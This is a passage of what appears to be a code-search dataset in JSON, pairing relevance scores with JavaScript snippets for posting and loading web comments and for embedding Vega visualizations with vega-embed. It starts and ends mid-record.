document.getElementById(\"comment\").value;\n\t\tvar jCom = JSON.stringify(comment);\t\t\n\t\t//alert(name); alert(comment); alert(jCom);\n\t\t\n var uri = \"http://redsox.uoa.auckland.ac.nz/BC/Open/Service.svc/comment?name=\" + name;\n xhr.open(\"POST\", uri, true);\n\t\txhr.setRequestHeader(\"Content-Type\", \"application/json;\");\n\t\txhr.setRequestHeader(\"Content-Length\", comment.length);\n xhr.onload = function () {\n\t\t\tdocument.getElementById(\"frame\").src = document.getElementById(\"frame\").src; //Adapted from https://stackoverflow.com/a/2064863\n }\n xhr.send(jCom);\n\t\tshowCommentTab();\t\n\t}", "title": "" }, { "docid": "3953de78b2f6dad75c19c56844d5be39", "score": "0.63971186", "text": "function sendSupportComment(comment,service){\n\t$.ajax({\n\t\t\ttype:\"get\",\n\t\t\tasync: true,\n\t\t\turl:commentService + service ,\t\t \t\t \n\t\t\tdataType:\"jsonp\",\n\t\t\tjsonp:\"jsonp\",\n\t\t \tdata:comment,\n\t\t\tsuccess: function(data){alert(LAG_CON_SUBMIT_SUCC);},\n\t\t\terror: function(){}\n\t}); \t\n}", "title": "" }, { "docid": "08063e66e91cc20a52246580516b1bcd", "score": "0.6377087", "text": "function comments_sendRequest(itemid) {\n //console.log(itemid);\n var req;\n if (window.XMLHttpRequest) {\n req = new XMLHttpRequest();\n } else {\n req = new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n req.onreadystatechange =handleResponse;\n req.open(\"GET\", \"http://localhost:8000/grumblrApp/allcomments/\"+itemid, true);\n req.send();\n \n function handleResponse(){\n if (req.readyState != 4 || req.status != 200) {\n \n return;\n }\n var items = JSON.parse(req.responseText);\n //console.log(itemid);\n var list = document.getElementById(\"mycomments\"+itemid);\n while (list.hasChildNodes()) {\n list.removeChild(list.firstChild);\n }\n for (var i = 0; i < items.length; i++) {\n var commentText = items[i][\"fields\"][\"text\"];\n var commentUserId = items[i][\"fields\"][\"user\"];\n var newli = document.createElement(\"li\");\n newli.innerHTML =\"<img style=\\\"margin:5px\\\" src=\\\"/grumblrApp/photo_userid/\"+commentUserId+ \"\\\" height=\\\"25px\\\"/>\"+commentText;\n list.appendChild(newli);\n }\n \n }\n}", "title": "" }, { "docid": "f12c2322a08efdd82ec269d03644066f", "score": "0.6372026", "text": "function getHwComment()\n{\n var hwid = getParameterByName(\"hwid\");\n var classid = sessionStorage.getItem('courseID');\n $.ajax({\n type: \"POST\",\n url: \"/Actions/getHwCommentStudent.php\",\n data: \"hwid=\" + hwid + \"&classid=\" + classid,\n cache: false,\n success: function (data) {\n if (data == false)\n {\n document.getElementById(\"demo\").innerHTML = \"<h1>No Comment</h1>\";\n alert(\"No Comment\");\n }\n else\n {\n var html = \"<br>\";\n for (var i = 0; i < data.length; i++)\n {\n var comment = data[i].comment;\n var num = i + 1;\n\n html += \"&nbsp;&nbsp;&nbsp;&nbsp;\" + num + \".&nbsp;\" + comment + \"<br>\";\n }\n document.getElementById(\"demo\").innerHTML = html;\n }\n }\n });\n}", "title": "" }, { "docid": "2bffccd816302c13acafd55b9e4834ce", "score": "0.636621", "text": "function postCommentReplyAjax(senderButton, messageId, userName, parentcommentid) {\n var $form = $(senderButton).parents('form');\n $form.find(\"#errorMessage\").toggle(false);\n\n if ($form.find(\"#CommentContent\").val().length > 0) {\n $form.find(\"#submitbutton\").val(\"正在提交...\");\n $form.find(\"#submitbutton\").prop('disabled', true);\n\n $.ajax({\n type: \"POST\",\n url: $form.attr('action'),\n data: $form.serialize(),\n error: function (xhr, status, error) {\n // submission failed, likely cause: user triggered anti-spam throttle\n $form.find(\"#submitbutton\").val(\"回复\");\n $form.find(\"#submitbutton\").prop('disabled', false);\n $form.find(\"#errorMessage\").html(\"点太快啦,等两分钟再试试\");\n $form.find(\"#errorMessage\").toggle(true);\n },\n\n success: function (response) {\n // remove reply form\n removereplyform(parentcommentid);\n\n // load rendered comment that was just posted and append it\n \n $(\".commentid-\" + parentcommentid).append(response);\n window.setTimeout(function () { UI.Notifications.raise('DOM', $('.id-' + parentcommentid).last('div')); });\n\n /*ljj 移到上面\n var replyresult = $.get(\n \"/ajaxhelpers/singlesubmissioncomment/\" + messageId + \"/\" + userName,\n null,\n function (data) {\n $(\".id-\" + parentcommentid).append(data);\n\n // TODO: use prepend or append after element entry unvoted\n // $('#div_' + element_id)[0].scrollIntoView(true);\n\n //notify UI framework of DOM insertion async\n window.setTimeout(function () { UI.Notifications.raise('DOM', $('.id-' + parentcommentid).last('div')); });\n\n }\n );\n */\n }\n });\n\n return false;\n } else {\n $form.find(\"#errorMessage\").toggle(true);\n }\n}", "title": "" }, { "docid": "0ff793b9acfce4234adcd6b4157cdb7f", "score": "0.6365607", "text": "function addForm(noteid) {\n if (window.XMLHttpRequest) {\n req = new XMLHttpRequest();\n } else {\n req = new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n\n var id=noteid;\n //console.log(\"comment_text\");\n //var itemText = document.getElementById(\"comment_text\"+id).value;\n //console.log(itemText);\n req.onreadystatechange = function() { handleResponse(id) };\n req.open(\"POST\", \"/gotravel/addday/\"+id, true);\n req.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n req.send(\"csrfmiddlewaretoken=\"+getCSRFToken());\n\n}", "title": "" }, { "docid": "d8efdbae34e86c5718a719f48fe3e04c", "score": "0.63604546", "text": "function createComment(ev) {\n ev.preventDefault();\n let contentInput = $('#cmtContent');\n let postId = $(this).attr('data-id'); // взимаме id от 5.1.1.00 ред 299\n let author = sessionStorage.getItem('username');\n let content = contentInput.val();\n\n commentsService.createComment(author, content, postId)\n .then(() => {\n showInfo('Comment created.');\n loadPostDetails(postId);// => 280 ред\n contentInput.val('');\n }).catch(handleError);\n }", "title": "" }, { "docid": "538f05045bc7225116c888003125631e", "score": "0.63456047", "text": "function create_post()\n{\n\tvar id = jQuery(\".uos_comment_input input\").eq(0).attr(\"data-post-id\");\n\tid = parseInt(id) + 1;\n\n\tvar my_post = \"<div class = 'uos_the_post' data-post = \" + id + \">\" +\n\t\t\t\t\t \"<h3>\" + window.username + \" posted: </h3>\" +\n\t\t\t\t\t \"<p>\" + jQuery(\".uos_post_input_area input\").val() + \"</p>\" +\n\t\t\t\t\t \"<p>Posted at: \" + new Date() + \"</p>\" +\n\t\t\t\t\t \"<div class = 'uos_comment_input'>\" +\n\t\t\t\t\t \t\"<input type = 'text' name = 'comment' data-post-id = \" + (id) + \">\" +\n\t\t\t\t\t \"</div>\" +\n\t\t\t\t\t \"<div class = 'uos_submit_comment'>\" +\n\t\t\t\t\t \t\"<button class = 'uos_add_comment w3-btn w3-blue'>Add comment</button>\" +\n\t\t\t\t\t \"</div>\" +\n\t\t\t\t\t \"<h4>Comments</h4>\" +\n\t\t\t\t\t \"<div class = 'uos_comment_space'>\" +\n\t\t\t\t\t \"</div>\" +\n\t\t\t\t \"</div>\";\n\tjQuery(\".uos_study_group_content .uos_post_input_area input\").val(\"\");\n\n\t$.ajax({\n\t\turl: '/posts',\n\t\tmethod: 'POST',\n\t\tdata:\n\t\t{\n\t\t\tgroup_id: get_group_id(),\n\t\t\tpost_content: jQuery(\".uos_post_input_area input\").val(),\n\t\t\tpubpr: jQuery(\"input[name='pubpr']:checked\").val()\n\t\t}\n\t});\n\n\twindow.location.reload();\n}", "title": "" }, { "docid": "a18827b710a3c64f54beee8dbb2c3a08", "score": "0.63342434", "text": "function updateComments(comment, post, authToken, apiUrl){\n\tconst param = {\n\t\t\t method: 'GET',\n\t\t\t headers:{\n\t\t\t\t 'Authorization': `Token ${authToken}`,\n\t\t\t\t 'Content-Type': 'application/json',\n\t\t\t }\n\t\t }\n\tfetch(apiUrl + \"/post/?id=\" + post.id, param) //grab comments under post again\n\t.then(function(response){\n\t\tif (!response.ok) throw Error(response.statusText);\n\t\treturn response.json();\n\t})\n\t.then(function(responseAsJson){\n\t\tcomment.textContent = responseAsJson.comments.length + \" comments\"; //length\n\t\tresponseAsJson.comments.sort((a,b) => parseInt(convertTime(b.published))\n\t\t\t\t\t\t\t\t - parseInt(convertTime(a.published))); //sort comments\n //create a popup displaying all the comments including updates\n\t\tlet form = createComments(comment, responseAsJson, authToken, apiUrl);\n\t\tlet hiddenDiv = document.getElementById(\"disableDiv\");\n\t\tcomment.onclick = function() { hiddenDiv.style.display = \"block\";\n /*prevent clicking on background*/ form.style.display = \"block\"};\n\t})\n\t\t.catch(function(error) {\n \tconsole.log('Looks like there was a problem: \\n', error);\n\t});\n\treturn comment;\n}", "title": "" }, { "docid": "86040680cae0566edfc2691357880259", "score": "0.6333235", "text": "function comment() {\n var commentText = document.getElementById('comment-area-id').value;\n if( commentText !=null && commentText.trim().length != 0 ) {\n //adding commeent in latest on top order\n document.getElementById('comments-display-area').innerHTML = \"<div class='comment-class'>\"+commentText+\"</div>\" \n + document.getElementById('comments-display-area').innerHTML;\n document.getElementById('comment-area-id').value = \"\";\n }\n}", "title": "" }, { "docid": "cb3486d382ac8f4d87782c1b8682422b", "score": "0.6320941", "text": "function addNewComment(textInput, imgObj) {\n\tfetch(COMMENTS_URL, {\n\t\tmethod: 'POST',\n\t\theaders: { 'Content-Type': 'application/json' },\n\t\tbody: JSON.stringify({\n\t\t\tcomment: textInput.value,\n\t\t\tuser_id: localStorage.getItem('user_id'),\n\t\t\timage_id: imgObj.id\n\t\t})\n\t})\n\t\t.then((resp) => resp.json())\n\t\t.then((json) => {\n\t\t\t//adding a new comment on the show page once created\n\t\t\tCOMMENTS.push(json);\n\t\t\tlet div = document.getElementById('comments');\n\n\t\t\tlet cDiv = document.createElement('div');\n\t\t\tcDiv.className = 'card-body';\n\t\t\tcDiv.id = 'c-div';\n\n\t\t\tlet comment = document.createElement('p');\n\n\t\t\tlet smallUser = document.createElement('small');\n\t\t\tcomment.textContent = json.comment;\n\t\t\tcomment.id = 'comment-id';\n\t\t\tsmallUser.textContent = ` - With Love, ${json.user.name}`;\n\n\t\t\tcDiv.appendChild(comment);\n\t\t\tcomment.appendChild(smallUser);\n\t\t\tdiv.appendChild(cDiv);\n\t\t});\n}", "title": "" }, { "docid": "f70e5a1d3ce2c6a88933b59a53310003", "score": "0.63204443", "text": "function addlike(noteid) {\n if (window.XMLHttpRequest) {\n req = new XMLHttpRequest();\n } else {\n req = new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n\n var id=noteid;\n //console.log(\"comment_text\");\n //var itemText = document.getElementById(\"comment_text\"+id).value;\n //console.log(itemText);\n req.onreadystatechange = function() { handleResponse1(id) };\n req.open(\"POST\", \"/gotravel/addlikes/\"+id, true);\n req.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n req.send(\"csrfmiddlewaretoken=\"+getCSRFToken());\n\n}", "title": "" }, { "docid": "9ad173289cb220e2e52cd00243ca800a", "score": "0.6318464", "text": "function addplike(planid) {\n if (window.XMLHttpRequest) {\n req = new XMLHttpRequest();\n } else {\n req = new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n\n var id=planid;\n //console.log(\"comment_text\");\n //var itemText = document.getElementById(\"comment_text\"+id).value;\n //console.log(itemText);\n req.onreadystatechange = function() { handleResponse1(id) };\n req.open(\"POST\", \"/gotravel/addplikes/\"+id, true);\n req.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n req.send(\"csrfmiddlewaretoken=\"+getCSRFToken());\n\n}", "title": "" }, { "docid": "e42f1cf7095497c14dbea8635d4ed833", "score": "0.63147855", "text": "function enableComments(){\n $(\".commentme\").unbind().click(function(){\n var postDiv = $(this).closest(\".post\");\n $(this).parent().find(\".shareform\").css(\"display\", \"none\");\n $(this).parent().find(\".reactme\").removeClass(\"active-button\");\n postDiv.find(\".reactme\").removeClass(\"active-button\");\n postDiv.find(\".rdropdown\").removeClass(\"show\");\n $(this).addClass(\"active-button\");\n $(this).addClass(\"button\");\n console.log('commentme clicked!');\n if($(this).parent().parent().find('.commentform').css('display') == 'none'){\n $(this).parent().parent().find(\".shareform\").css(\"display\", \"none\");\n $(this).parent().find(\".share\").removeClass(\"active-button\");\n $(this).addClass(\"active-button\");\n $(this).parent().parent().find('.commentform').css('display', 'flex');\n $(this).parent().parent().find(\".cheading\").css(\"display\", \"block\");\n } else {\n $(this).removeClass(\"active-button\");\n $(this).addClass(\"button\");\n $(this).parent().parent().find('.commentform').css('display', 'none');\n if($(this).parent().parent().find('.comments').html() == '')\n $(this).parent().parent().find(\".cheading\").css(\"display\", \"none\");\n }\n });\n\n $(\".commentform\").submit(function(event) {\n event.preventDefault();\n postIndex = $(this).closest(\".post\").attr('id');\n var comment_text = $(this).find(\".comment-text\").val();\n var id = $(this).closest(\".post\").find('.post_id').html();\n console.log('post id ' + id);\n console.log('person id ' + personId);\n if(comment_text != ''){\n $.ajax({\n url: '/comment',\n type: 'POST',\n data: {\n text: comment_text,\n post_id: id,\n post_index: postIndex,\n profile_id: personId,\n comment_date: {\n day: date.getDate(),\n month: date.getMonth(),\n year: date.getFullYear()\n }\n },\n success: function(comment){\n console.log('new comment!', JSON.stringify(comment));\n $(\"#\" + postIndex + \" .comments\").append(\"<div class='comment'><p class='date'>\" + personName.split(\" \")[0] + \" - \" + months[comment.date.month] + \" \" + comment.date.day + \", \" + comment.date.year + \"</p><p class='text'>\" + comment.text + \"</p>\")\n $(\"#\" + postIndex).find(\".cheading\").css(\"display\", \"block\");\n $(\"#\" + postIndex).find(\".commentme\").removeClass(\"active-button\");\n $(\"#\" + postIndex).find(\".commentform\").css(\"display\", \"none\");\n $(\"#\" + postIndex).find(\".comment-text\").val(\"\");\n },\n error: function(err){\n console.log(err);\n }\n });\n }\n });\n}", "title": "" }, { "docid": "a5377479e21ac5f5c3e6a56a9cfe5fd8", "score": "0.631428", "text": "function commentClickMain(chosenState) {\n\n var urgent = $(\"#urgent-main\").is(\":checked\");\n var urgency;\n if (urgent) {\n urgency = commentEnum.Urgent;\n }\n else urgency = commentEnum.Default;\n var DataFromBody = {\n \"ScreenId\": $(\"#ScreenId\").val(),\n \"Message\": $(\"#comment-textarea\").val(),\n \"Lat\": null,\n \"Lng\": null,\n \"ParentId\": null,\n \"CommentUrgency\": urgency\n };\n $.ajax(\n {\n type: \"POST\", //HTTP POST Method \n url: \"../Comment\", // Controller \n contentType: \"application/json;\",\n dataType: \"text\",\n data: JSON.stringify(DataFromBody),\n success: function (data) {\n var container = document.createElement(\"div\");\n $(container).addClass(\"comment today\").append(data).appendTo(\"#comment-section > .comment-container\");\n $(\"#comment-textarea\").val(\"\");\n }\n });\n\n}", "title": "" } ]
23392151ca00d02a06e1b0ed4fc28038
Embed a Vega visualization component in a web page. el: DOM element in which to place component (DOM node or CSS selector) opt: Embedding specification (parsed JSON or URL string) callback: invoked with the generated Vega View instance
[ { "docid": "9124dac513454f5359fbd7af4fddc0a8", "score": "0.7516205", "text": "function embed(el, opt, callback) {\n var cb = callback || function(){},\n params = [], source, spec, mode;\n\n try {\n if (vg.util.isString(opt)) {\n return load(opt, null, el, callback);\n } else if (opt.source) {\n source = opt.source;\n spec = JSON.parse(source);\n } else if (opt.spec) {\n spec = opt.spec;\n source = JSON.stringify(spec, null, 2);\n } else if (opt.url) {\n return load(opt.url, opt, el, callback);\n } else {\n spec = opt;\n source = JSON.stringify(spec, null, 2);\n opt = {spec: spec, actions: false};\n }\n mode = MODES[opt.mode] || MODES.vega;\n spec = PREPROCESSOR[mode](spec);\n\n // ensure container div has class 'vega-embed'\n var div = d3.select(el)\n .classed('vega-embed', true)\n .html(''); // clear container\n\n // handle parameters\n if (opt.parameters) {\n var elp = opt.parameter_el ? d3.select(opt.parameter_el) : div;\n var pdiv = elp.append('div')\n .attr('class', 'vega-params');\n params = opt.parameters.map(function(p) {\n return parameter.init(pdiv, p, spec);\n });\n }\n } catch (err) { cb(err); }\n\n vg.parse.spec(spec, function(error, chart) {\n if (error) { cb(error); return; }\n try {\n var renderer = opt.renderer || 'canvas',\n actions = opt.actions || {};\n\n var view = chart({\n el: el,\n data: opt.data || undefined,\n renderer: renderer\n });\n\n if (opt.actions !== false) {\n // add child div to house action links\n var ctrl = div.append('div')\n .attr('class', 'vega-actions');\n\n // add 'Export' action\n if (actions.export !== false) {\n var ext = (renderer==='canvas' ? 'png' : 'svg');\n ctrl.append('a')\n .text('Export as ' + ext.toUpperCase())\n .attr('href', '#')\n .attr('target', '_blank')\n .attr('download', (spec.name || 'vega') + '.' + ext)\n .on('mousedown', function() {\n this.href = view.toImageURL(ext);\n d3.event.preventDefault();\n });\n }\n\n // add 'View Source' action\n if (actions.source !== false) {\n ctrl.append('a')\n .text('View Source')\n .attr('href', '#')\n .on('click', function() {\n viewSource(source);\n d3.event.preventDefault();\n });\n }\n\n // add 'Open in Vega Editor' action\n if (actions.editor !== false) {\n ctrl.append('a')\n .text('Open in Vega Editor')\n .attr('href', '#')\n .on('click', function() {\n post(window, embed.config.editor_url, {spec: source, mode: mode});\n d3.event.preventDefault();\n });\n }\n }\n\n // bind all parameter elements\n params.forEach(function(p) { parameter.bind(p, view); });\n\n // initialize and return visualization\n view.update();\n cb(null, {view: view, spec: spec});\n } catch (err) { cb(err); }\n });\n}", "title": "" } ]
[ { "docid": "efd7974b8bd0f8f372f7eab88df8299a", "score": "0.79230124", "text": "function embed(el, opt, callback) {\n var cb = callback || function(){},\n params = [], source, spec, mode, config;\n\n try {\n // Load the visualization specification.\n if (vg.util.isString(opt)) {\n return load(opt, null, null, el, callback);\n } else if (opt.source) {\n source = opt.source;\n spec = JSON.parse(source);\n } else if (opt.spec) {\n spec = opt.spec;\n source = JSON.stringify(spec, null, 2);\n } else if (opt.url) {\n return load(opt.url, opt, 'source', el, callback);\n } else {\n spec = opt;\n source = JSON.stringify(spec, null, 2);\n opt = {spec: spec, actions: false};\n }\n mode = MODES[opt.mode] || MODES.vega;\n spec = PREPROCESSOR[mode](spec);\n\n // Load Vega theme/configuration.\n if (vg.util.isString(opt.config)) {\n return load(opt.config, opt, 'config', el, callback);\n } else if (opt.config) {\n config = opt.config;\n }\n\n // ensure container div has class 'vega-embed'\n var div = d3.select(el)\n .classed('vega-embed', true)\n .html(''); // clear container\n\n // handle parameters\n if (opt.parameters) {\n var elp = opt.parameter_el ? d3.select(opt.parameter_el) : div;\n var pdiv = elp.append('div')\n .attr('class', 'vega-params');\n params = opt.parameters.map(function(p) {\n return parameter.init(pdiv, p, spec);\n });\n }\n } catch (err) { cb(err); }\n\n vg.parse.spec(spec, config, function(error, chart) {\n if (error) { cb(error); return; }\n try {\n var renderer = opt.renderer || 'canvas',\n actions = opt.actions || {};\n\n var view = chart({\n el: el,\n data: opt.data || undefined,\n renderer: renderer\n });\n\n if (opt.actions !== false) {\n // add child div to house action links\n var ctrl = div.append('div')\n .attr('class', 'vega-actions');\n\n // add 'Export' action\n if (actions.export !== false) {\n var ext = (renderer==='canvas' ? 'png' : 'svg');\n ctrl.append('a')\n .text('Export as ' + ext.toUpperCase())\n .attr('href', '#')\n .attr('target', '_blank')\n .attr('download', (spec.name || 'vega') + '.' + ext)\n .on('mousedown', function() {\n this.href = view.toImageURL(ext);\n d3.event.preventDefault();\n });\n }\n\n // add 'View Source' action\n if (actions.source !== false) {\n ctrl.append('a')\n .text('View Source')\n .attr('href', '#')\n .on('click', function() {\n viewSource(source);\n d3.event.preventDefault();\n });\n }\n\n // add 'Open in Vega Editor' action\n if (actions.editor !== false) {\n ctrl.append('a')\n .text('Open in Vega Editor')\n .attr('href', '#')\n .on('click', function() {\n post(window, embed.config.editor_url, {spec: source, mode: mode});\n d3.event.preventDefault();\n });\n }\n }\n\n // bind all parameter elements\n params.forEach(function(p) { parameter.bind(p, view); });\n\n // initialize and return visualization\n view.update();\n cb(null, {view: view, spec: spec});\n } catch (err) { cb(err); }\n });\n}", "title": "" }, { "docid": "efd7974b8bd0f8f372f7eab88df8299a", "score": "0.79230124", "text": "function embed(el, opt, callback) {\n var cb = callback || function(){},\n params = [], source, spec, mode, config;\n\n try {\n // Load the visualization specification.\n if (vg.util.isString(opt)) {\n return load(opt, null, null, el, callback);\n } else if (opt.source) {\n source = opt.source;\n spec = JSON.parse(source);\n } else if (opt.spec) {\n spec = opt.spec;\n source = JSON.stringify(spec, null, 2);\n } else if (opt.url) {\n return load(opt.url, opt, 'source', el, callback);\n } else {\n spec = opt;\n source = JSON.stringify(spec, null, 2);\n opt = {spec: spec, actions: false};\n }\n mode = MODES[opt.mode] || MODES.vega;\n spec = PREPROCESSOR[mode](spec);\n\n // Load Vega theme/configuration.\n if (vg.util.isString(opt.config)) {\n return load(opt.config, opt, 'config', el, callback);\n } else if (opt.config) {\n config = opt.config;\n }\n\n // ensure container div has class 'vega-embed'\n var div = d3.select(el)\n .classed('vega-embed', true)\n .html(''); // clear container\n\n // handle parameters\n if (opt.parameters) {\n var elp = opt.parameter_el ? d3.select(opt.parameter_el) : div;\n var pdiv = elp.append('div')\n .attr('class', 'vega-params');\n params = opt.parameters.map(function(p) {\n return parameter.init(pdiv, p, spec);\n });\n }\n } catch (err) { cb(err); }\n\n vg.parse.spec(spec, config, function(error, chart) {\n if (error) { cb(error); return; }\n try {\n var renderer = opt.renderer || 'canvas',\n actions = opt.actions || {};\n\n var view = chart({\n el: el,\n data: opt.data || undefined,\n renderer: renderer\n });\n\n if (opt.actions !== false) {\n // add child div to house action links\n var ctrl = div.append('div')\n .attr('class', 'vega-actions');\n\n // add 'Export' action\n if (actions.export !== false) {\n var ext = (renderer==='canvas' ? 'png' : 'svg');\n ctrl.append('a')\n .text('Export as ' + ext.toUpperCase())\n .attr('href', '#')\n .attr('target', '_blank')\n .attr('download', (spec.name || 'vega') + '.' + ext)\n .on('mousedown', function() {\n this.href = view.toImageURL(ext);\n d3.event.preventDefault();\n });\n }\n\n // add 'View Source' action\n if (actions.source !== false) {\n ctrl.append('a')\n .text('View Source')\n .attr('href', '#')\n .on('click', function() {\n viewSource(source);\n d3.event.preventDefault();\n });\n }\n\n // add 'Open in Vega Editor' action\n if (actions.editor !== false) {\n ctrl.append('a')\n .text('Open in Vega Editor')\n .attr('href', '#')\n .on('click', function() {\n post(window, embed.config.editor_url, {spec: source, mode: mode});\n d3.event.preventDefault();\n });\n }\n }\n\n // bind all parameter elements\n params.forEach(function(p) { parameter.bind(p, view); });\n\n // initialize and return visualization\n view.update();\n cb(null, {view: view, spec: spec});\n } catch (err) { cb(err); }\n });\n}", "title": "" }, { "docid": "2982b0b95cb4914713d112202b01acb9", "score": "0.7766312", "text": "function embed(el, opt, callback) {\n var params = [], source, spec;\n\n if (vg.util.isString(opt)) {\n return load(opt, null, el, callback);\n } else if (opt.source) {\n source = opt.source;\n spec = JSON.parse(source);\n } else if (opt.spec) {\n spec = opt.spec;\n source = JSON.stringify(spec, null, 2);\n } else if (opt.url) {\n return load(opt.url, opt, el, callback);\n } else {\n spec = opt;\n source = JSON.stringify(spec, null, 2);\n opt = {spec: spec, actions: false};\n }\n\n // ensure container div has class 'vega-embed'\n var div = d3.select(el)\n .classed('vega-embed', true)\n .html(''); // clear container\n\n // handle parameters\n if (opt.parameters) {\n var elp = opt.parameter_el ? d3.select(opt.parameter_el) : div;\n var pdiv = elp.append('div')\n .attr('class', 'vega-params');\n params = opt.parameters.map(function(p) {\n return parameter.init(pdiv, p, spec);\n });\n }\n\n vg.parse.spec(spec, function(chart) {\n var view = chart({\n el: el,\n data: opt.data || undefined,\n renderer: opt.renderer || 'canvas'\n });\n\n if (opt.actions !== false) {\n // add child div to house action links\n var ctrl = div.append('div')\n .attr('class', 'vega-actions');\n\n // add 'View Source' action\n ctrl.append('a')\n .text('View Source')\n .attr('href', '#')\n .on('click', function() {\n viewSource(source);\n d3.event.preventDefault();\n });\n\n // add 'Open in Vega Editor' action\n ctrl.append('a')\n .text('Open in Vega Editor')\n .attr('href', '#')\n .on('click', function() {\n post(window, embed.config.editor_url, {spec: source});\n d3.event.preventDefault();\n });\n }\n\n // bind all parameter elements\n params.forEach(function(p) { parameter.bind(p, view); });\n\n // initialize and return visualization\n view.update();\n if (callback) callback(view, spec);\n });\n}", "title": "" }, { "docid": "177d25fd4726825deb39760c2dd189f4", "score": "0.70416135", "text": "create(element, config) {\n let vegaVisual = document.createElement('script');\n vegaVisual.innerHTML = `\n const initSpec = ${JSON.stringify(this.options.spec)};\n vegaEmbed('#vis', initSpec, {defaultStyle: true}).catch(console.warn);`;\n\n element.parentNode.appendChild(vegaVisual);\n }", "title": "" }, { "docid": "177d25fd4726825deb39760c2dd189f4", "score": "0.70416135", "text": "create(element, config) {\n let vegaVisual = document.createElement('script');\n vegaVisual.innerHTML = `\n const initSpec = ${JSON.stringify(this.options.spec)};\n vegaEmbed('#vis', initSpec, {defaultStyle: true}).catch(console.warn);`;\n\n element.parentNode.appendChild(vegaVisual);\n }", "title": "" }, { "docid": "695a3063f6d1d2fe5890df804f2f40da", "score": "0.69925857", "text": "function embed_embed(el, spec, opt = {}) {\n return __awaiter(this, void 0, void 0, function* () {\n const loader = embed_isLoader(opt.loader) ? opt.loader : embed_vega.loader(opt.loader);\n // Load the visualization specification.\n if (embed_vega.isString(spec)) {\n const data = yield loader.load(spec);\n return embed_embed(el, JSON.parse(data), opt);\n }\n opt = cjs_default()(opt, (spec.usermeta && spec.usermeta['embedOptions']) || {});\n // Load Vega theme/configuration.\n let config = opt.config || {};\n if (embed_vega.isString(config)) {\n const data = yield loader.load(config);\n return embed_embed(el, spec, Object.assign(Object.assign({}, opt), { config: JSON.parse(data) }));\n }\n const actions = Object(vega_util[\"B\" /* isBoolean */])(opt.actions)\n ? opt.actions\n : cjs_default()({ export: { svg: true, png: true }, source: true, compiled: true, editor: true }, opt.actions || {});\n const i18n = Object.assign(Object.assign({}, embed_I18N), opt.i18n);\n const renderer = opt.renderer || 'canvas';\n const logLevel = opt.logLevel || embed_vega.Warn;\n const downloadFileName = opt.downloadFileName || 'visualization';\n if (opt.defaultStyle !== false) {\n // Add a default stylesheet to the head of the document.\n const ID = 'vega-embed-style';\n if (!document.getElementById(ID)) {\n const style = document.createElement('style');\n style.id = ID;\n style.innerText =\n opt.defaultStyle === undefined || opt.defaultStyle === true ? (build_src_style || '').toString() : opt.defaultStyle;\n document.head.appendChild(style);\n }\n }\n if (opt.theme) {\n config = cjs_default()(vega_themes_build_src_namespaceObject[opt.theme], config);\n }\n const mode = embed_guessMode(spec, opt.mode);\n let vgSpec = embed_PREPROCESSOR[mode](spec, config);\n if (mode === 'vega-lite') {\n if (vgSpec.$schema) {\n const parsed = vega_schema_url_parser_default()(vgSpec.$schema);\n if (!Object(semver[\"satisfies\"])(embed_VERSION.vega, `^${parsed.version.slice(1)}`)) {\n console.warn(`The compiled spec uses Vega ${parsed.version}, but current version is v${embed_VERSION.vega}.`);\n }\n }\n }\n // ensure container div has class 'vega-embed'\n const div = src_select(el) // d3.select supports elements and strings\n .classed('vega-embed', true)\n .html(''); // clear container\n const patch = opt.patch;\n if (patch) {\n if (patch instanceof Function) {\n vgSpec = patch(vgSpec);\n }\n else if (embed_vega.isString(patch)) {\n const patchString = yield loader.load(patch);\n // eslint-disable-next-line require-atomic-updates\n vgSpec = cjs_default()(vgSpec, JSON.parse(patchString));\n }\n else {\n vgSpec = cjs_default()(vgSpec, patch);\n }\n }\n // Do not apply the config to Vega when we have already applied it to Vega-Lite.\n // This call may throw an Error if parsing fails.\n const runtime = embed_vega.parse(vgSpec, mode === 'vega-lite' ? {} : config);\n const view = new embed_vega.View(runtime, {\n loader,\n logLevel,\n renderer\n });\n if (opt.tooltip !== false) {\n let handler;\n if (embed_isTooltipHandler(opt.tooltip)) {\n handler = opt.tooltip;\n }\n else {\n // user provided boolean true or tooltip options\n handler = new src_Handler_Handler(opt.tooltip === true ? {} : opt.tooltip).call;\n }\n view.tooltip(handler);\n }\n let { hover } = opt;\n if (hover === undefined) {\n hover = mode === 'vega';\n }\n if (hover) {\n const { hoverSet, updateSet } = (typeof hover === 'boolean' ? {} : hover);\n view.hover(hoverSet, updateSet);\n }\n if (opt) {\n if (opt.width) {\n view.width(opt.width);\n }\n if (opt.height) {\n view.height(opt.height);\n }\n if (opt.padding) {\n view.padding(opt.padding);\n }\n }\n yield view.initialize(el).runAsync();\n if (actions !== false) {\n let wrapper = div;\n if (opt.defaultStyle !== false) {\n const details = div.append('details').attr('title', i18n.CLICK_TO_VIEW_ACTIONS);\n wrapper = details;\n const summary = details.insert('summary');\n summary.html(embed_SVG_CIRCLES);\n const dn = details.node();\n document.addEventListener('click', evt => {\n if (!dn.contains(evt.target)) {\n dn.removeAttribute('open');\n }\n });\n }\n const ctrl = wrapper.insert('div').attr('class', 'vega-actions');\n // add 'Export' action\n if (actions === true || actions.export !== false) {\n for (const ext of ['svg', 'png']) {\n if (actions === true || actions.export === true || actions.export[ext]) {\n const i18nExportAction = i18n[`${ext.toUpperCase()}_ACTION`];\n ctrl\n .append('a')\n .text(i18nExportAction)\n .attr('href', '#')\n .attr('target', '_blank')\n .attr('download', `${downloadFileName}.${ext}`)\n // eslint-disable-next-line func-names\n .on('mousedown', function () {\n view\n .toImageURL(ext, opt.scaleFactor)\n .then(url => {\n this.href = url;\n })\n .catch(error => {\n throw error;\n });\n on_event.preventDefault();\n });\n }\n }\n }\n // add 'View Source' action\n if (actions === true || actions.source !== false) {\n ctrl\n .append('a')\n .text(i18n.SOURCE_ACTION)\n .attr('href', '#')\n .on('mousedown', () => {\n embed_viewSource(json_stringify_pretty_compact_default()(spec), opt.sourceHeader || '', opt.sourceFooter || '', mode);\n on_event.preventDefault();\n });\n }\n // add 'View Compiled' action\n if (mode === 'vega-lite' && (actions === true || actions.compiled !== false)) {\n ctrl\n .append('a')\n .text(i18n.COMPILED_ACTION)\n .attr('href', '#')\n .on('mousedown', () => {\n 